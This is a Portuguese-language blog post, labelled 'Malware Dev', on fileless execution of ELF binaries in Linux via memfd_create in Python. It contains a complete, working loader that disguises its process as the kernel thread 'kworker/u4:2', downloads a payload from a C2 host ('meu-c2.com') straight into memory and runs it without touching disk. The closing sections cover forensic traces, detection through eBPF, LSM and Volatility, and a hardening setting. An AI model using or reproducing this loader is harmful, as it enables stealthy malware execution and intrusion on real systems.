RETURN_TO_BASE
LANG_SELECT:
Malware Dev 2026-06-02 @reeshasx

GHOST_IN_THE_RAM: Fileless Execution via memfd_create in Python

GHOST_IN_THE_RAM: Fileless Execution via memfd_create in Python

GHOST_IN_THE_RAM: Fileless Execution via memfd_create in Python

[ 0x00 ] EVASÃO DE DISCO E EXECUÇÃO FILELESS

Em táticas avançadas de pós-exploração, transferir payloads executáveis para diretórios comuns de escrita (como /tmp, /var/tmp ou /dev/shm) é considerado um indicador de comprometimento (IoC) primário. O monitoramento de integridade de arquivos, diretivas de montagem noexec e daemons que utilizam ganchos inotify capturam facilmente a criação de novos arquivos binários ELF.

A regra fundamental de evasão moderna é: Se tocar no disco físico, a assinatura estática ou heurística o interceptará.

Para mitigar essa superfície de detecção, emprega-se a execução fileless (sem arquivo físico), instanciando o binário executável diretamente na memória RAM. No ecossistema Linux, a chamada de sistema memfd_create é uma das principais interfaces utilizadas para viabilizar este propósito.

[ 0x01 ] MECANISMO DA SYSCALL MEMFD_CREATE

Introduzida no kernel Linux 3.17, a chamada de sistema memfd_create aloca um arquivo anônimo residente exclusivamente em memória volátil (utilizando a infraestrutura de memória compartilhada shmem do kernel). Esta chamada retorna um descritor de arquivo (file descriptor - FD) que pode ser manipulado exatamente como um arquivo convencional (via write, mmap, etc.).

No entanto, este FD não é mapeado em nenhuma árvore de diretórios do VFS (Virtual File System). O arquivo não possui uma entrada persistente no sistema de arquivos sob caminhos comuns de busca do sistema operacional.

A partir do Python 3.8, o interpretador expõe o wrapper nativo os.memfd_create na biblioteca padrão. Para versões legadas ou fins de demonstração de baixo nível, podemos invocar a API dinamicamente utilizando a biblioteca ctypes para se comunicar com a libc.

[ 0x02 ] IMPLEMENTAÇÃO DO LOADER PORTÁVEL EM PYTHON

O script abaixo demonstra a implementação de um carregador de memória que realiza o mapeamento por arquitetura do número da syscall de acordo com a plataforma detectada (x86_64, ARM64, i386), provendo portabilidade multiarquitetura restrita ao ecossistema Linux, tratando corretamente a sintaxe interna do Python.

import ctypes
import os
import platform
import urllib.request

# 1. Criação do file descriptor anônimo na memória RAM
def get_anonymous_fd(name: str) -> int:
    # Utiliza o wrapper nativo do Python 3.8+ se disponível
    if hasattr(os, "memfd_create"):
        try:
            return os.memfd_create(name, flags=os.MFD_CLOEXEC)
        except OSError:
            pass

    # Fallback via chamada direta à syscall da libc (ctypes)
    try:
        from ctypes.util import find_library
        libc_path = find_library('c')
        if not libc_path:
            return -1
        libc = ctypes.CDLL(libc_path)
    except Exception:
        return -1

    # Mapeamento estático do número da syscall por arquitetura do processador
    arch = platform.machine()
    if arch == "x86_64":
        sys_memfd_create = 319
    elif arch in ("aarch64", "arm64"):
        sys_memfd_create = 279
    elif arch in ("i386", "i686"):
        sys_memfd_create = 356
    elif arch.startswith("arm"):
        sys_memfd_create = 385
    else:
        return -1

    MFD_CLOEXEC = 0x0001
    # Executa syscall(sys_memfd_create, name, flags)
    return libc.syscall(sys_memfd_create, name.encode('utf-8'), MFD_CLOEXEC)

# Nome de exibição superficial no processo (masquerading)
fake_name = "kworker/u4:2"

fd = get_anonymous_fd(fake_name)
if fd == -1:
    print("[-] Falha ao instanciar memfd anônimo.")
    exit(1)

# 2. Exfiltração/Download do payload ELF diretamente para a RAM
try:
    # Substituir pelo endereço do host C2
    req = urllib.request.urlopen("http://meu-c2.com/payload.elf")
    payload_bytes = req.read()
except Exception as e:
    print(f"[-] Erro de conexão com C2: {e}")
    exit(1)

# 3. Gravação do stream de bytes no descritor de arquivo na memória
os.write(fd, payload_bytes)
os.lseek(fd, 0, os.SEEK_SET)

# 4. Substituição do processo atual (execve) via descritor sob procfs
fd_path = f"/proc/self/fd/{fd}"
os.execv(fd_path, [fake_name])

[ 0x03 ] MITOS E LIMITAÇÕES DO MASQUERADING DE ARGUMENTOS

A técnica de passar fake_name ("kworker/u4:2") como o primeiro elemento da lista argv em os.execv altera a cadeia de caracteres exibida por listagens superficiais (como ps e top), que leem a memória do bloco /proc/<pid>/cmdline. No entanto, este masquerading não é absoluto e apresenta severas inconsistências forenses:

  1. Hierarquia de Processos (PPID): Um thread de kernel autêntico (kworker) tem como processo pai o kthreadd (PID 2). O binário fileless spawnado via Python manterá o PPID correspondente ao shell ou aplicação vulnerável de onde o loader foi invocado.
  2. Mapeamento de Executável: O link simbólico /proc/<pid>/exe para um kworker real não existe ou aponta para um kernel space invisível. No processo mascarado, /proc/<pid>/exe apontará explicitamente para /memfd:kworker/u4:2 (deleted).
  3. Bloco de Ambiente: O arquivo /proc/<pid>/environ de threads de kernel legítimos é completamente nulo. O processo fileless conterá as variáveis de ambiente completas herdadas do runtime do Python.
  4. Mapa de Memória: Threads de kernel operam puramente em kernel-space e não possuem espaço de memória de usuário. O processo fileless exibirá um mapa /proc/<pid>/maps contendo pilhas e heaps de usuário convencionais.

[ 0x04 ] VETORES DE DETECÇÃO E TELEMETRIA FORENSE

Apesar de ser indetectável para antivírus tradicionais baseados em varreduras de arquivos locais, a execução baseada em memfd_create é capturada em telemetria por soluções modernas de EDR e auditores do kernel Linux (como auditd ou monitores de eBPF):

  • Rastreamento de Syscalls (eBPF): Motores baseados em eBPF (como o Tetragon) interceptam a syscall sys_enter_memfd_create em tempo de execução, permitindo auditorias e bloqueios imediatos se processos em user-space realizarem a chamada.
  • Ganchos LSM (Linux Security Modules): Módulos de Segurança Linux (LSM) como SELinux e AppArmor não dependem de arquivos físicos no disco e avaliam privilégios e capacidades (como a permissão execmem do SELinux) em diversos ganchos do kernel, incluindo chamadas que alocam e mapeiam arquivos anônimos na memória.
  • Detecção de Execve Incomum: Regras de monitoramento de integridade que rastreiam chamadas sys_enter_execve onde o caminho executado aponta para o padrão /proc/*/fd/* ou /proc/self/fd/*.
  • Forense de Memória: O utilitário clássico ls -l /proc/*/exe ou ls -l /proc/*/fd/* revela facilmente arquivos cujo destino aponta para links /memfd:... (deleted). Além disso, ferramentas forenses de análise de memória (como o Volatility via plugin malfind) são eficientes para rastrear regiões executáveis (rwx ou r-x) desprovidas de arquivos correspondentes em disco, assim como a listagem direta de mapeamentos sob /proc/<pid>/maps contendo links simbólicos óbvios para arquivos anônimos /memfd:... (deleted).

Diretriz de Hardening: Configure o parâmetro de kernel vm.memfd_noexec (disponível a partir do kernel 6.0+) para bloquear ou auditar a execução de memfds (ajustando para 2 para desabilitar completamente), ou implemente políticas de segurança restritivas via LSM para bloquear chamadas execve cujo caminho de execução aponte para descritores virtuais sob /proc/self/fd/.

#fileless #linux #python #evasion
ID: fileless-memfd-python
RYSHA DATABASE CORE SYSTEM // STANDALONE_VIEWER_PROTOCOL_ACTIVATED